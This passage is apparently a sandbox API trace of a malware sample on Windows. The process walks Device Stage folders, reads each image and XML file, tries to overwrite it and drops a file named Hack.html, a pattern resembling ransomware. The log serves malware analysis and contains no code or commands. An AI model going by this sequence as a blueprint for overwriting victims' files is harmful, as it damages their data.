lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.902] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.902] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.902] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.902] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.902] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.903] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0068.903] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpFilePart=0x0) returned 0x54 [0068.903] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.909] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.909] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.910] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0068.910] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpFilePart=0x0) returned 0x54 [0068.911] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.911] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.911] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.912] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.913] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0068.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0068.913] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.914] GetFileType (hFile=0x258) returned 0x1 [0068.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0068.914] GetFileType (hFile=0x258) returned 0x1 [0068.914] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x1fad1 [0068.914] ReadFile (in: hFile=0x258, lpBuffer=0x36698d0, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ecf0*=0x1fad1, lpOverlapped=0x0) returned 1 [0068.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0068.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0068.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0069.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.001] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.002] GetFileType (hFile=0x258) returned 0x1 [0069.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.002] GetFileType (hFile=0x258) returned 0x1 [0069.002] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xb61 [0069.003] ReadFile (in: hFile=0x258, lpBuffer=0x27a4cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27a4cd8*, lpNumberOfBytesRead=0x39ecf0*=0xb61, lpOverlapped=0x0) returned 1 [0069.004] CloseHandle (hObject=0x258) returned 1 [0069.055] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0069.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.055] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.057] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0069.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.057] GetFileType (hFile=0x258) returned 0x1 [0069.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.057] GetFileType (hFile=0x258) returned 0x1 [0069.057] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xadc8 [0069.058] ReadFile (in: hFile=0x258, lpBuffer=0x27f6bd4, nNumberOfBytesToRead=0xadc8, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27f6bd4*, lpNumberOfBytesRead=0x39ecf0*=0xadc8, lpOverlapped=0x0) returned 1 [0069.064] CloseHandle (hObject=0x258) returned 1 [0069.111] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0069.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.111] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.113] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0069.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.113] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.113] GetFileType (hFile=0x258) returned 0x1 [0069.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.113] GetFileType (hFile=0x258) returned 0x1 [0069.113] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x70c1 [0069.113] ReadFile (in: hFile=0x258, lpBuffer=0x286f8d8, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x286f8d8*, lpNumberOfBytesRead=0x39ecf0*=0x70c1, lpOverlapped=0x0) returned 1 [0069.125] CloseHandle (hObject=0x258) returned 1 [0069.164] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0069.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.165] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0069.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.165] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.192] GetFileType (hFile=0x258) returned 0x1 [0069.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.206] GetFileType (hFile=0x258) returned 0x1 [0069.207] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x99d3 [0069.207] ReadFile (in: hFile=0x258, lpBuffer=0x26f4364, nNumberOfBytesToRead=0x99d3, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26f4364*, lpNumberOfBytesRead=0x39ecf0*=0x99d3, lpOverlapped=0x0) returned 1 [0069.218] CloseHandle (hObject=0x258) returned 1 [0069.278] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0069.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.278] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", lpFilePart=0x0) returned 0x5d [0069.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0069.282] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0069.283] GetFileType (hFile=0x258) returned 0x1 [0069.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0069.283] GetFileType (hFile=0x258) returned 0x1 [0069.283] WriteFile (in: hFile=0x258, lpBuffer=0x277ccc8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x277ccc8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0069.284] CloseHandle (hObject=0x258) returned 1 [0069.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0069.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0069.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpFilePart=0x0) returned 0x54 [0069.284] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0069.285] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0069.286] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0069.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0069.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0069.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0069.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0069.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpFilePart=0x0) returned 0x54 [0069.286] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0069.286] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.286] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0069.287] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0069.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0069.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0069.287] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0069.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.287] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.288] GetFileType (hFile=0x258) returned 0x1 [0069.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0069.288] GetFileType (hFile=0x258) returned 0x1 [0069.288] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x1fad1 [0069.289] ReadFile (in: hFile=0x258, lpBuffer=0x373d600, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x373d600*, lpNumberOfBytesRead=0x39ecf0*=0x1fad1, lpOverlapped=0x0) returned 1 [0069.305] CloseHandle (hObject=0x258) returned 1 [0069.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0069.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0069.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0069.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0069.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0069.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0069.369] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0069.369] GetFileType (hFile=0x258) returned 0x1 [0069.369] GetFileType (hFile=0x258) returned 0x1 [0069.369] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x769 [0069.369] ReadFile (in: hFile=0x258, lpBuffer=0x27ce2d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27ce2d4*, lpNumberOfBytesRead=0x39ecf0*=0x769, lpOverlapped=0x0) returned 1 [0069.393] CloseHandle (hObject=0x258) returned 1 [0069.430] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device 